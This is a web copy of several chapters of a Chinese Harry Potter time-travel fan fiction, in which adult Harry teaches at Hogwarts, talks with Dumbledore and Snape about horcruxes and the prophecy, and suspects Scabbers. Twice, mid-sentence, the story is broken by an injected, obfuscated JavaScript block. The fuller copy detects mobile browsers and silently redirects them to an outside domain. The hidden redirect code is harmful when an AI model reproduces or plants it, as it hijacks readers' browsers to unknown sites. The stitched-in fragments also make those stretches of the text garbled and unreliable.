斯内普顿时沉下脸,他两眼眯起,冷冷讥讽道,“我完全能理解伟大的杀了黑魔王的英雄不待见我这个卑微的间谍,那么阿不思,容我先离开了。”说着抬脚就要走,邓布利多阻止了他。 “哈利?!” “你们误会了。”哈利面不改色地说。现在的他,更像一名公事公办的傲罗。斯内普尝试用怒视杀死他,哈利无视他的视线继续说,“我征求的是阿不思的意见。但是阿不思,我个人并不在意他在场,斯内普的‘忠诚’,我想你是最清楚的。” “为什么需要征求我的意见?”邓布利多的脸色变了变,问道。 “因为牵涉到伏地魔的一些……秘密。”不出他所料,邓布利多立刻理解了他的意思,他冷静的表情被打破了。“你……怎么……”他习惯性躲在镜片后面的湛蓝眼睛因为震惊而完全暴露出来,哈利第一次发现邓布利多也有舌头打结的时候。 “是你告诉我的,阿不思。因为我是哈利·波特——大难不死的男孩。” …… 等哈利拖着疲惫的身子回到自己的办公室,宵禁的时间早已过了许久。当然,这对如今身为老师的他来说毫无意义。“福克斯。”他随口念出口令。“精确。”门上的狮鹫浮雕低吼,展开翅膀为他打开通道。教师的办公室分为两部分,外间是用来办公的,里间则是作为卧室。 他穿过外间,径直走进被壁炉的火照得明亮的卧室。泰迪穿着干净舒爽的睡袍,正舒舒服服地坐在壁炉前的椅子上,悬空的小脚丫一晃一晃的,十分惬意地烤着温暖的炉火,小脑袋则靠着椅背,往下垂着,显然是累极,坐在椅子上就睡着了。 “哈利?”大概是哈利进来时弄出的声响吵醒了他,泰迪揉揉眼睛,迷迷糊糊地叫道。 “为什么不去床上睡觉?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“所以分院前你恶狠狠地用眼神凌迟我就是为了这个?”哈利睁开眼睛看他,状似委屈地说,“我当时可是魂都吓掉了的。” 泰迪先是哈哈笑了两声,又说,“那为什么你还是这么不高兴呢?” 哈利定定地看着他,“我没有不高兴。” “骗人,我从没看过颜色这么暗淡的牡鹿。”泰迪露出怀疑的神情。 哈利叹了口气,“我挺讨厌你这能力的。” 泰迪哼了声,“我倒觉得挺好用的。” 哈利无奈地干笑。 “其实没什么,只是和斯内普吵了一架。”他避重就轻地说。总觉得他现在有点理解当年韦斯莱夫人的心情了。 “怎么我一不在你们就闹翻?”泰迪大惊小怪地叫。 “非常感谢,我和他好像从来就没好好相处过。”哈利撇撇嘴。 “哈利,你上次还跟我说过什么不要用偏见看待对方的。”泰迪稚气的声音背书似的说。 “记性这么好你怎么没进拉文克劳?”哈利没好气地伸手拍了一下他的脑袋。 泰迪不满地撅起嘴,“你这叫逃避现实。” 哈利苦笑不得。“这话对斯内普去说正好。不过我看他今天分院时被你气得脸色发青,我跟你说过要低调低调,好吧,大厅里满地的下巴你看到没?” 泰迪一下子就把脑袋缩到被子底下,又悄悄露出灰色的眼睛,讪讪笑道,“西弗很生气?” “很生气。”哈利郁郁地回答,“不过是对我。” “你又怎么了?” “没什么。”哈利把他的脑袋塞回被子里,“今天太晚了,睡觉吧,明天一早就得上课的。” “好……” “本来有些事要问你,可没想到会弄到这么晚。明天晚餐后你再来一趟吧。”哈利帮泰迪把被角掖好,在他额上亲吻一下,“晚安。” 泰迪抱着他的脸在颊上亲吻,“晚安,哈利。” 哈利侧过身,望着睡得安宁香甜的泰迪,却久久不能入睡。 是的,这个世上没有所谓的偶然。在伏地魔终于有所动作,在他决定对和盘托出自己来历的时候,他就知道了。他再次被卷入这个时代的漩涡里——不管是否自愿。 在不知不觉间,本就因某些事变而改变了的历史已经彻底脱离他所熟知的前进轨道。面对眼前看不清前路的迷雾,他惶恐,彷徨不知所措。可躲避是不可能的,即使他想远离命运的束缚,命运也从来不肯放过他。谁能说他和泰迪回到一个这样的时代不是受到命运的操纵?但是,逃避不成,他还不能抗争么?回不去了,他就在这里和泰迪一起生活下去。周围没有认识自己的朋友,不要紧,他不再是那个被动、害怕受伤的孩子了。他可以主动去结交他们,主动付出爱,他们总能再成为朋友。伏地魔东山再起,他就再把他打得起不来。 这一刻,哈利终于释然,历史再怎么改变,再怎么物是人非,他的心,他的决断,他的意志,决不会再动摇半分。 18. 历史的分歧 “西弗勒斯,如果你不介意的话,我想和哈利先单独谈谈。” 斯内普目光阴冷犀利,神情含着冷笑,似乎早就料到邓布利多会这么说。他一言不发,转身大跨步走向会议室的另一端。邓布利多在自己和哈利周围施了个强力的隔音咒和反窃听咒,示意哈利坐在他旁边的位子上,哈利看了斯内普一眼,后者固执地注视着墙上的那面钟。略叹口气,他坐了下来。 邓布利多湛蓝的眼睛再次隐蔽于半月形眼镜之后,掩盖起他内心的震动,但哈利能感觉到他透过眼镜打量着自己的神态。 “唔,哈利,听西弗勒斯刚才说的话,他已经知道你的身份了?” 哈利显然没想到邓布利多第一个问题是问这个,他表情尴尬地摸摸自己的鼻子,“呃,其实只是我和他起了些争执……呃……不是什么大事,我发泄了一下……我想他听懂的不多……魂器的事也没提到……所以——” “可以理解。”邓布利多面带了然,“那么,「大难不死的男孩」,是指——” “在我的时代,别人都是这么叫我的。”哈利自嘲地说,“因为一岁的我在伏地魔的索命咒下逃过一劫,而他反而因为我母亲在我身上下的保护魔法而咒语反弹受到重创。这就是当时他施咒时给我留下的疤痕。”他撩起自己的额发,露出回到这个时代以来颜色又渐渐变深的闪电形伤疤,“就如同那个预言所说,我成了伏地魔命定的对手。” “预言?” “特里劳妮教授的预言……” 哈利顿住了,他清楚地看见邓布利多的脸色陡然变幻数次,那是一种掩饰不住的、更深的震惊。 “内容你还记得吗?”良久,他问。 哈利皱皱眉,不安在心中升起,他似乎漏掉了些什么,可又抓不住,“大概记得。拥有征服黑魔头能量的人走近了……出生在……” 邓布利多静静地倾听,直到哈利把整个预言说完,他似乎仍旧深陷在不可捉摸的沉思中。 “阿不思?”哈利轻轻叫唤了邓布利多一声,“这里……是不是没有这个预言?” “不,有。一模一样。”邓布利多看向他的目光深奥莫测,“这个我们稍后再谈。也就是说,伏地魔并非主动消失,而是因为受创——” 哈利点头。 “最后杀了他的是——” “我们找到并消灭了全部七个魂器,最后只剩下他本体的灵魂,当然,大部分人都认为是我杀了他,事实上他算是被自己的咒语杀死的。” 邓布利多先是露出果然如此的表情,但随即发现了漏洞,“七个魂器?魂器应该只有六个。” 哈利微微笑了,尽管他的脸上毫无笑意,“我就是第七个魂器。当初他杀我未果却意外把一片灵魂留在了我体内。”而现在,十有八九那片灵魂又恢复了,有那么一刹那,哈利甚至陷入了绝望。但他暂时并没有坦白的欲望。他需要更多的确证。 出乎哈利的意外,这次邓布利多并没有表现出更多的惊愕,以他的睿智,或许已经隐隐察觉到了。 半晌,他眼光里流露着忧郁的光芒,低语道,“那必定很痛苦。” 哈利的心没由来的一震,他移开目光,试想以尽量轻松地语调回答。 “那时和伏地魔的战争迫在眉睫,我没时间去痛苦。”最后他淡淡地说,“本来我是下定决心牺牲自己,干掉伏地魔的事交付给别人去完成。不过没想到被杀死的只有那片灵魂。” 会议室里静悄悄的,哈利看到斯内普正低头把玩自己的魔杖,一次也没抬头向他们这个方向看来。 “不如这样,我想我们另找个时间详细谈谈。今天已经很晚了。”邓布利多提议。 “阿不思,我不认为在我时代所发生的事在细节上能作为什么参考。历史改变太多了。” “确实如此,但两个时代总会有共通之处,我们也许能找出突破点。” 这回哈利没有反驳,潜意识里,他认同了邓布利多的想法。 “我猜你的故事会很长?” “唔,我想够写几本书了。说不定还会很畅销。”哈利耸着肩说。 邓布利多微笑,“那就下个周末吧,你,我,和西弗勒斯,地点……唔,我们需要一个隐蔽点的地方,有求必应室如何?” “你打算让斯内普加入?”没想到居然听到斯内普的名字,哈利有些惊讶。 “你以为我在防备他?”邓布利多机敏地问。 “至少现在看来,是的。”哈利摊摊手。 “魂器的秘密事关重大,在没有把握前,我不得不更谨慎些。” “你害怕他会受到诱惑?还是背叛?” “这么说,你知道斯内普曾是食死徒?” “自然,很久前就知道了……”尽管,在那个时代是为时已晚。“但既然他已经退出并成为凤凰社的双面间谍,我认为他应该受到充分的信任。” 若有所思地看着他,邓布利多问,“哈利,你喜欢西弗勒斯这个人?” “喜欢他?阿不思,你无法想像我以前多么恨他入骨。因为他对我刻意的刁难,因为他对我不加掩饰的恨意,因为他的食死徒身份,因为我以为是他——”害死你和小天狼星。哈利沉默片刻,终究是没有把最后那半句说出口,“即使在我明白所有真相的现在,也不见得能提升到喜欢的程度。你看,今天的争执就是最好的证明,只要我还是个波特,就足以让斯内普和我水火不容。” “但你信任他。”邓布利多用肯定的语气,仿佛在说一件理所当然的事。 “是的,我不喜欢他的为人,但我相信他是可靠的。”哈利没有否定。“他是我见过的最勇敢的人,阿不思。也许这话不该由我来说,真正接纳他,不要单纯地利用他。”不要再让他去承担所有的恶名,也不要给他的灵魂套上无法泯灭的桎梏。 即使彼此的关系再恶劣,哈利仍然希望,这一次,那个人能活下去。还有,眼前的这位老人也是。 “哈利,你的意思我能理解。可是,你应该知道,我的接纳不能成为他灵魂的救赎。” 哈利沉默不语。他当然知道。能救赎斯内普的灵魂的,不论何时,都只可能是他的母亲。 哈利被刺眼的阳光唤醒,他对着窗外的明亮发了一阵愣,这才觉得身上沉甸甸的,扭头望去,泰迪半个身子露在被子外面,一只手和一只脚都压在他身上,呼呼睡得正香。哈利好笑地移开他的手,伸手到枕头底下摸出自己的手表,打了个哈欠,对着手表上的时间继续发了一阵愣,然后忽地一下坐起。 “泰迪,快起来!要迟到了!”他匆匆摇醒泰迪,从床上一跃而起。 “哈利?几点了?”泰迪爬起身,揉揉自己的眼睛,睡眼朦胧地问。 “快八点,你再不下去吃早餐就来不及了。”哈利把泰迪的校服扔给他,自己也手忙脚乱地套上自己的长袍,并试图把自己的乱发梳得服帖点。忽然身后传来泰迪的惊叫,“糟了,我的书包!” “什么?”哈利转头问。 “唉,我忘了把书包带过来了!”泰迪耷拉着脑袋,沮丧地说,“还得回格兰芬多塔去拿。” “你来不及的。”哈利再次看看时间,戏谑道,“收回我昨晚的话,你的记性和纳威有得比。” 无视泰迪的怒视,他抽出自己的魔杖,凝神片刻,“泰迪的书包飞来!” 不多时,只听一声清脆的玻璃碎声,一只黑色的书包疾飞而入,稳稳地落在哈利的手中。哈利把书包交给泰迪,顺手朝着破了个大洞的窗户轻轻一挥,窗户的玻璃立刻修复如新。 “快走吧。”哈利帮泰迪整理了下他的衣领,“晚上见。还记得路吧?” “找不到可以问差点没头的尼克先生,昨天我就是问他的。”泰迪胡乱挥挥手,把书包背上肩。 两人随即兵分两路,泰迪向大厅匆匆跑去,哈利则直接前往五年级的黑魔法防御课教室。 哈利一边赶路一边发呆,甚至对皮皮鬼在他上方盘旋,不停大叫“疤头疤头”也充耳不闻。他好像做了个梦,在梦里他找到了某些答案,但一醒来就不记得了。哈利抿了抿嘴,决定不再去想。皮皮鬼还在他耳边吵闹,哈利直接扔了个禁锢咒在皮皮鬼身上——这样两个小时内它都会动弹不得。现在困扰他的是另一个问题——五年级即将面临的O.W.Ls,他是不是该在课前学其他的老师一样危言耸听,喋喋不休地提醒他们O.W.Ls的重要性?哈利头痛地想。 这时他正经过走廊,向外望去正好可以看见那片湖,有几个人站在湖边商讨着什么。哈利一眼就看见了穿着深蓝长袍的邓布利多也在其中。还有一个,即使只是远远的背影,哈利也不认为自己会认错。是他的父亲,詹姆斯。 哈利稍微愣怔了会儿,就恢复了正常。看来是魔法部派来的,邓布利多说过詹姆斯是先现任的傲罗司司长。邓布利多还是通知魔法部了,不过也只是例行公事,做个样子。倒不是他看不起自己父亲的能力,但他怀疑他们只是呆在湖边用些测试魔法是否真能找出什么线索。 哈利思量着,等晚上问清楚泰迪他们落水的细节,再看有没必要偷偷潜入湖里,或许能找到些新发现。人鱼最近大概会拒绝巫师进入湖里。但如果他使用幻身咒并保持足够的警惕性,要避开人鱼的耳目并不是问题。最好是有腮囊草,只是他可不敢开口去向斯内普要——说不定他还没开口就会被斯内普谋杀——更别说去偷了。等等,他好像在睿瓦纳之塔的收藏室里见过,抽空回去拿吧。哈利苦笑。现在只能梅林保佑泰迪当初没把腮囊草也给偷渡到斯内普的家里。 泰迪气喘吁吁地来到格兰芬多的桌子时,桌子已经几乎清空,只有三三两两的学生在狼吞虎咽,看来也是起晚的。 “嗨,泰迪,怎么来得这么晚?”罗恩向他挥手,小哈利也在他身边。赫敏则坐在他们的对面。三人面前的盘子都是空的,显然是已经吃完早餐但特意留在这里等他。 “抱歉。”心中涌起小小的感动,泰迪露出笑容,走过去坐到赫敏的旁边,给自己拿了块三文治。 “麦格教授已经发了课表,我帮你拿了一份。”赫敏把课表递给泰迪,“快吃点早餐,哦,我可不想第一天上课就迟到。格兰芬多会被扣分的!” 旁边的两个男孩无语地看着她。自从昨天赫敏落水三个男孩同时伸手拉她后,他们四个人的关系可谓是一日千里。 “你今天的头发颜色不错。”罗恩盯了半天,对泰迪的金棕色头发很赞赏。 “歇歇(谢谢)。”泰迪嘴里塞满三文治,口齿不清地说。 “昨晚你在你教父那里睡?”小哈利给他倒了杯南瓜汁。 “嗯,本来没打算过夜的,可他回来太晚了。”好不容易就着南瓜汁把三文治咽下去,泰迪回答道。 “真没想到原来你的教父就是我们的黑魔法防御课老师,我都有点开始期待了。”罗恩一脸向往。 “哈利在这方面很厉害的。”一提到哈利泰迪就是满满的自豪。 “我?”小哈利莫名其妙。 “哦,我是说我的教父。”泰迪纠正。 赫敏在一旁不耐烦地催促道,“我想我们必须得走了。” “第一节课是什么?”泰迪问,他还没来得及看课表。 “草药课。我们得去城堡后面的温室上课。” “嗨,马尔福。” 经过斯莱特林的桌子时,碰巧马尔福也带着他的两个跟班准备离开,泰迪笑着跟他打招呼。 与泰迪相反,德拉科苍白的脸上泛起一阵红晕,似乎有些尴尬,但他很快就镇定下来,冷下脸从鼻子里哼了一声,招呼也不回地从他们身边走过。 “马尔福是怎么了?”走在通往温室的路上,泰迪不解地问。 “伙计,你该不会是真想和他做朋友吧?”罗恩把一只手搭在他肩上。 “可昨晚不是……” “真不知道你的教父是怎么教你的,妄想和斯莱特林做朋友?”小哈利手搭上他另一边的肩膀,无奈摇头。 “泰迪,听着,他是个马尔福,就算是个旱鸭子,你以为我们救了他就能让他放下纯血的骄傲感激涕零?” “但昨天我们后来还相处得挺好的——”泰迪小声辩解。 “是的是的,那是因为他吓傻了!”小哈利翻了个白眼,“等他安然无恙地睡上一觉,他就会觉得被我们这种‘不三不四’的人救了是种耻辱!” “其实我觉得他人不是很糟……”赫敏插嘴。 “他最看不起的就是你这种麻瓜出身的巫师,不管你有多优秀。”小哈利回了赫敏一句,又转头看向泰迪,“好吧,其实今天他的态度算不错了,至少没有动不动就冷嘲热讽。斯莱特林有自己的交往圈子,很少和其他学院的学生混在一起的。所以你也没必要拿你的热面孔去贴他的冷屁股。听我的,离他远点。” 泰迪不以为然地点点头,没再吭声。 接下来的一天,泰迪都过得很愉快。草药课上学习怎么培育奇异的植物和菌类对他来说是种新鲜的体验。赫敏看来是把课本都背得滚瓜烂熟,整节课最积极举手的就是她,每逢此时,罗恩就会不停地对他和小哈利低声抱怨,另两个男孩只能笑笑了事。而在下午的变形课上,泰迪则是大大出了一番风头。 且不提他没花几秒功夫就把火柴变成绣花针,为此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156356|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得到麦格教授难得的微笑。在刚开始上课时,当麦格教授在众目睽睽下把讲桌变成一只猪又变回来,并对满眼放光的学生说人也是可以变成动物,但那是十分高深的魔法且容易走火入魔时,小哈利在下面嘀咕说泰迪的头发就能随意变色也不见得有什么危险。麦格教授敏锐地捕捉到这句话,她扶了扶自己的眼镜,锐利的视线向泰迪扫来。泰迪打了个哆嗦,居然有种他是被盯上的猎物的感觉。麦格教授询问了他几句,挺起腰板,很是骄傲地向大家介绍何为易容马格斯。接着泰迪红着脸,在麦格教授的强制,哦不,鼓励下表演了头发变色,甚至还附赠特别节目——把自己的嘴变成鸟喙——这还是他最近才做得到的,自然更是赢得满屋惊叹。 仅仅是一节课,泰迪就成为了变形课上的宠儿。而他身为易容马格斯的事大概明天就会传遍整个霍格沃兹,毕竟物以稀为贵,天生的易容马格斯比后天的阿尼马格斯还要少见得多。 晚上泰迪趴在哈利床上看书时就提到了今天的变形课。 “你能变化样貌了?”正在备课的哈利停下笔问。 “嗯,我也是刚发现的。但只有脸部,身体其他部分还是不行。”泰迪合起书,抱着枕头在床上打了个滚。 “当然没那么快,唐克斯说过,即使是天生的,你们的易容能力也是要随着年龄和魔力的增长才逐渐加强的。” “那我以后可以变成任何动物吗?” 哈利想了想,“我没见过唐克斯变化成动物,但理论上应该是可以的。一般的阿尼马格斯都只能变成固定的动物,怎么看都是易容马格斯占优势。”他对泰迪眨眨眼。“我刚知道易容马格斯时可想学了。” “为什么?”泰迪好奇地眨巴着眼睛。 “为了遮住我的伤疤啊。”哈利耸肩。 “你肯定是很讨厌你的伤疤。”泰迪下结论。 哈利夸张地叹气,“简直是噩梦的标记。拜它所赐,我觉得我跟动物园里的动物差不多,一出门就被围观,就差没扔饲料给我吃了。” 泰迪咯咯笑倒在床上。“那我什么时候才能全身变形呢?”好不容易止住笑,他又问。 “我猜你该不会是打算变得面目全非后去做什么坏事吧?”哈利板起脸严肃地说。“那我建议你变成斯内普,吓人效果奇佳。” 回答他的是迎面而来的枕头。 “我回去了。”泰迪从床上下来,他必须得在宵禁的钟声响前回格兰芬多塔,“对了,海格有写封信给我呢,说邀请我周五去他那里玩。” “那就去吧,可以带上罗恩他们。”哈利送他到门外,温和地说,“海格是个很好的人,虽然他的品味可能……呃……与众不同。” 泰迪嘻嘻地笑,忽然想起了什么,又说,“哈利,你知不知道罗恩的宠物斑斑?” 最后的两个字重重打在哈利的灵魂深处。一阵寒噤掠过他体内。 “……斑斑?” “就是那只灰老鼠。罗恩说它在他家呆了十年了。” “为什么问我这个?”哈利觉得自己的声音在远处不真实地回荡。 “那只老鼠很奇怪,我上次只不过是抓住它的尾巴,就感到头晕,就像那次只看到黑暗一样。”泰迪大惑不解地皱眉说,“动物也会这样吗?那真的是动物吗?” ——那的确不是动物。 “哈利?” “你先回去,记得不要再去碰触它。”哈利几乎是恍惚地说。 “哈利,你好像不大对劲——” “我没事……” “可是——” “我叫你现在就回去!”哈利吼道。可当他看到泰迪受惊的表情时,一下子就懊悔了。他单手捂脸,低声说,“对不起,泰迪,让我一个人静静好吗?” 泰迪咬着下唇,默默看了他一眼,没说什么就转身走了。他的教父从来没有对他这么凶过,也没有这么失态过。 这样的哈利,令他感到害怕。 哈利颓然把自己扔进沙发里,抓过长袍盖住自己。 斑斑。彼得。小矮星彼得。 他终于知道自己内心隐隐不安,却又想不通的地方在哪里了。 在和邓布利多开诚布公后,他才注意到一直以来他忽略了最重要的那个预言。 本来历史改变,理所当然的,预言即使存在也不该是原来那个。 可预言没变,很明显斯内普还是偷听到并告知了伏地魔——那为什么伏地魔既没有选择他也没有选择纳威视为他的眼中钉,反而是无缘无故在10月31日那天消失了? 如果说伏地魔没有去杀他,也就是说他们的藏身之处没有被泄露,那么就不存在小矮星彼得是叛徒的情况。 小矮星彼得若非叛徒,就应该不会还在罗恩家躲躲藏藏。但事实证明,在遇见詹姆斯和小天狼星的那两次,他从未看到过彼得的存在。而斑斑的出现,更是证明了它应该就是彼得的化身。 另一方面来想,如果彼得不是叛徒,伏地魔没有去杀害他,莉莉没有遇难,那斯内普就没有理由背叛伏地魔,并加入邓布利多的阵营。 可斯内普还是加入了。说明伏地魔至少有过杀了他的念头。 而小矮星彼得逃窜了。说明他确实泄露了情报。 种种迹象表明,在伏地魔消失之前,历史应该是按照原来的轨迹前进的。 他曾经以为伏地魔的消失是两个时空最大的分歧点。 事实也的确如此。 但他从未深入想过,是什么造成了这个分歧? 按照预定的轨迹,伏地魔在得到情报后,杀上他家是最合理的进展。所以斯内普才会不惜去向邓布利多求助。所以小矮星彼得才会在事后被小天狼星追杀而不得不藏匿起来。 可他却偏偏在那一天失去踪影。历史因此变了。 不对。如果他没杀上自己的家,可能斯内普会因为他曾有的打算而恐慌,但小矮星彼得的背叛绝对不会被发现。 哈利只觉得自己的思绪无比混乱,所有的疑团纠缠在一起,他想解开成一条线,但这条线很快又会和别的疑团纠缠,带来更多的疑问。 他忿忿地扯开长袍甩到一边,如果赫敏在就好了,她的分析能力比他强多了。 他默默坐了许久,就在他决定暂时放弃,留着以后再去和邓布利多讨论时,忽然一个令人毛骨悚然的想法冒了出来。 也许伏地魔还是来了——他必须除掉自己这个威胁,他甚至有可能已经闯了进来——但他却忽然放弃自己的目的,毫无征兆地幻影移行——凭空消失了。 ——原因? 或许伏地魔知道,如果他继续下去,他会遭遇什么。 19. 泰迪与噩梦 深蓝色的湖面安静地躺卧在柔和的月光之下。然而哈利知道,表面的平静不过是假象,湖底深处潜藏的危险是不会欢迎任何不速之客的。他一个鱼跃,投入其中。冰冷的湖水一拥而上,他不禁打了个寒颤,但有过一次的经验使他很快就适应了腮囊草带来的不适感,往湖中心的更深处游去。 泰迪他们就是在船驶到湖中心时遭遇异变的,那一带最有可能留下些蛛丝马迹。可时间上也太巧了,为什么赶在霍格沃兹开学的第一天?就像是故意要引起骚动。哈利心思转动,却也不敢放松对四周的警惕。作为拥有自己独特魔法的种族,人鱼绝不是好相与的。尤其是在和巫师的关系处在最低谷的现在,连魔法部派来的人都不被允许进入湖中调查,看来这回是连邓布利多的账都不卖了。 哈利侧身避过几只格林迪洛,好歹做过几年傲罗,他对于隐藏自己的踪迹还是有一套的——湖中的生物在他身边来来回回游过好几次,愣是没发现它们之中混入了一个人类巫师。 快游到湖中心时,哈利开始慢慢减速,小心地拔出魔杖。人鱼聚居地就在附近,他不敢使用过于强大的魔法,只能在小范围内搜索。 湖水里残留的魔法痕迹早已消失殆尽,哈利几乎是盲目地在湖底摸索着。虽然哈利并不抱太大的希望,但他更相信自己的直觉。 哈利在慢慢前进的同时,又想到另一个问题。外人想神不知鬼不觉潜入霍格沃兹并非易事,即使那个人极有可能是伏地魔本人。伏地魔是个阿尼马格斯?唔,他不知道。当然,借用别的方式的可能性也很大,当初他就是躲在奇洛的脑袋后面。只是,现在没有奇洛,而那人现在还会轻易出现在邓布利多的地盘,他的眼皮底下吗? “嗯?”不远处亮光的闪烁吸引了哈利的注意,魔杖发出的光也忽然变为紫色,让他精神为之一振——探测到魔法痕迹了。 发出亮光的那个东西被半埋在土里,哈利一时也看不出是什么。他正准备凑近些去看,背部莫名窜起一阵凉意,感觉像有人在他背上划了一刀。哈利猛然回头,魔杖指向上方,却什么也没看到。 刺痛在背部蔓延,“该死的!”哈利低声诅咒一声,顾不上太多,伸手抓过那个可疑物品,快速浮上水面。 星期四的黑魔法防御课是一年级新生期待已久的课。短短不到一个星期,哈利·佩弗利尔教授一跃成为霍格沃兹最受欢迎的老师的事早就传到了他们耳里。他在黑魔法防御方面丰富的知识,甚至他的年轻随和都得到学生们极大的好感——高年级的学生纷纷感叹他是有真才实学的老师,低年级的也热衷于猜测下次会让他们对付哪种魔法生物。而这些只能让一年级新生对星期四的课倍感期待。韦斯莱双胞胎在听说哈利是泰迪的教父后,更是在早餐时专门跑来拍他的肩。 “佩弗利尔教授居然是你的教父?他太有才了!”乔治深感遗憾地感叹,“我感觉我前两年的黑魔法防御都白上了。” “博格特真有意思,罗恩你会喜欢的。”弗雷特对罗恩眨眨眼,“它给了我们一种新启发——” “关于下一个产品的——”乔治补充。 等他们离开后,罗恩郁闷地叉了根香肠,“每当他们说我会喜欢,我就有预感他们又在等着看我的笑话。” “你的预感是对的。”一旁正埋首在预言家日报里的赫敏抬起头说,“博格特会变成你最害怕的东西。我可不觉得你会喜欢。”说完她又把头埋进报纸里。 “但愿别真的是博格特。”罗恩想起自己最害怕的八脚怪物,反胃感止不住地往上涌。他丢下叉子,什么也吃不下了。 但怏怏不乐的显然不止他一个人。 “泰迪,你到底怎么了?星期一晚上回来后你就一直这副魂不守舍的样子,上课也没劲,在休息室里也是发呆居多。”小哈利皱眉看着泰迪机械地把食物往自己嘴里塞,明显就是食不知味,“就连乔治弗雷德称赞你教父了你也没反应。”闻言,罗恩赫敏也满脸担忧地往他这边看来。 泰迪停下刀叉,奇怪地看向他们,“这有什么好反应的?” 小哈利朝天翻了个白眼,“这才是最大的不正常好不好。平时你总是教父教父的挂在嘴边,照常来说,你应该会满眼放光地欢呼‘那当然!我的教父很厉害的!’或者‘我早知道哈利会大受欢迎的!’。”他惟妙惟肖地模仿泰迪说话的语调,末了又加一句,“这个‘哈利’是指你教父。” 泰迪瞪了他一眼,“感觉平时我像个花痴。” 小哈利得意地扬头,“错,不是花痴,是恋父。” “噗!”旁边的罗恩忍不住把正在喝的南瓜汁全喷了出来,赫敏则捂着嘴把头转向另一边,肩膀抖啊抖的。 泰迪也露出几天来首次的笑容。 “说实话,你和你教父是不是吵架了?”小哈利问得有些迟疑。那晚泰迪去他教父办公室前还兴高采烈的,回来后就变得郁郁不欢。除了他们闹矛盾外,他还真是想不出能有什么别的原因。“别太在意,我以前可是三天两头和我爸闹别扭的。” 泰迪的笑容又隐去了,“我们没吵架。”他含糊过去,再次动起刀叉,神色间露出几分冷漠,表示这个话题到此为止。 其他三人无奈地交换了下视线,齐齐叹了口气。 小哈利绞尽脑汁地想换个话题,泰迪却忽然推开自己的盘子,带着点怨气转向罗恩,瞪得他浑身不自在。“都是因为你!”他恨恨地冒出这句莫名其妙的话,背上书包起身就走。 “什么?”罗恩呆滞着脸,张大嘴。“我?” 小哈利和赫敏各自拍了拍他的肩膀,一副“原来是你”、“你自己好自为之”兼看好戏的模样,也跟了上去。 “我做什么惹到他了?”罗恩挠挠脑袋,大惑不解。 泰迪他们来到教室的时间还比较早,里面只是零零散散坐了几个学生在聊天。他们选了靠中间的几个位子,早早的就把教科书、羊皮纸和羽毛笔都准备好,然后兴致勃勃地开始猜测这节课的内容。罗恩再次明确表示他绝对不想对上一只博格特。纳威后来也加入了他们,他支支吾吾地说不希望博格特会变成自己的奶奶。 泰迪从一开始没吭过声,只是两眼呆呆地望着前方的空间。别人在说什么他一句也没听进去。他甚至可以算是唯一不期待这堂课的学生。自从那天哈利莫名地吼了他后,就没主动来找过他,而他也没敢去找他。用餐时间也从来没在大厅里见过哈利,不知道他最近到底在折腾些什么。如果是平时,泰迪早就偷溜去他的办公室了。可如今他居然因此感到害怕——害怕再次被那么对待。 有人碰了碰泰迪的手肘,他猛地回过神来,这才发现不知何时教室里已经坐满了学生,而哈利正好走了进来,把他的公文包和一个盒子放在将桌上。泰迪注意到哈利虽然看上去精神还不错,但脸色中透着生病时那种不健康的苍白。他心中不禁有些担心——哈利发生什么事了吗? 哈利开始点名。这时泰迪的手肘又被碰了碰,是小哈利。他脸上呆滞的表情带着点难以置信。“他就是你的教父?”他低声问。 泰迪心不在焉地点点头。他的注意力完全放在哈利身上。 “我怎么觉得佩弗利尔教授长得很像我爸爸?”(“哈利·波特。”)“到!” 泰迪的心加速跳了好几下,还没等他做出反应,罗恩也凑了过来。“伙计,我觉得他更像一个人。” “谁?”小哈利惊异地望着他。 “你。”罗恩没好气地回答。 “你不觉得他就像是长大版的你吗?”赫敏一针见血地指出,“相差不多的脸型,蓬乱的黑发,眼睛颜色我看不清楚,但看着像是绿色的。唯一不同的就是他没戴眼镜了。” 赫敏说到这里,三人的目光同时聚焦在泰迪身上。 泰迪无辜地摊手,“长得像很稀奇吗?” “长得几乎一模一样就很稀奇了。”赫敏挑眉。 “而且你为什么从没说过?”小哈利神色间有点不满,他还想说什么,却被一个温和的声音打断——哈利已经结束了点名。 “我们今天不需要课本。”哈利扫视教室一圈,微笑着说,“以后的课在允许的范围内也会以实践课为主。教科书只会偶尔在课上,更多是在写论文时用到。” 大家的目光顿时炙热起来。不管怎么说,实践课总要比枯燥得让人昏昏欲睡的理论课有趣得多。 “教授,我们今天会学什么呢?博格特吗?”小哈利大声问道,其实他现在对这个跟他长得过于相似的教授本人更感兴趣。 “我想你们已经听说博格特了?”哈利扬起眉毛,脸上带着淡淡微笑,反问道。 “和它搏斗貌似会很有意思。”小哈利显得跃跃欲试,不少学生也附和着点头。 哈利打量着眼前的男孩——这个时代的哈利·波特。吃饱穿暖,尽享亲人关爱的他不再瘦小赢弱,少了不安和自卑,多了傲气和自信。果然如泰迪所说,完全不同。这样也不错,哈利面对过去的自己的那种不自在感消失了大半,现在尽可以把他当成普通的学生看待。 “遗憾的是,今天你们要学习的对象不是博格特。”哈利笑着摇头,学生们都发出失望的声音,“博格特对你们还早了些,我们得从简单的开始,循序渐进。” “在正式开始之前,我们有几个问题要回答——为什么我们要学习黑魔法防御术这门课?白魔法和黑魔法的区别在哪里?” 赫敏高高举起她的手。 “格兰杰小姐。”哈利好不容易忍住笑说。没想到有一天会一本正经地叫赫敏为格兰杰,而且还成为了她的老师,这在以前是完全无法想像的。毕竟作为三人组的智囊,他和罗恩都习惯了依赖她的头脑。 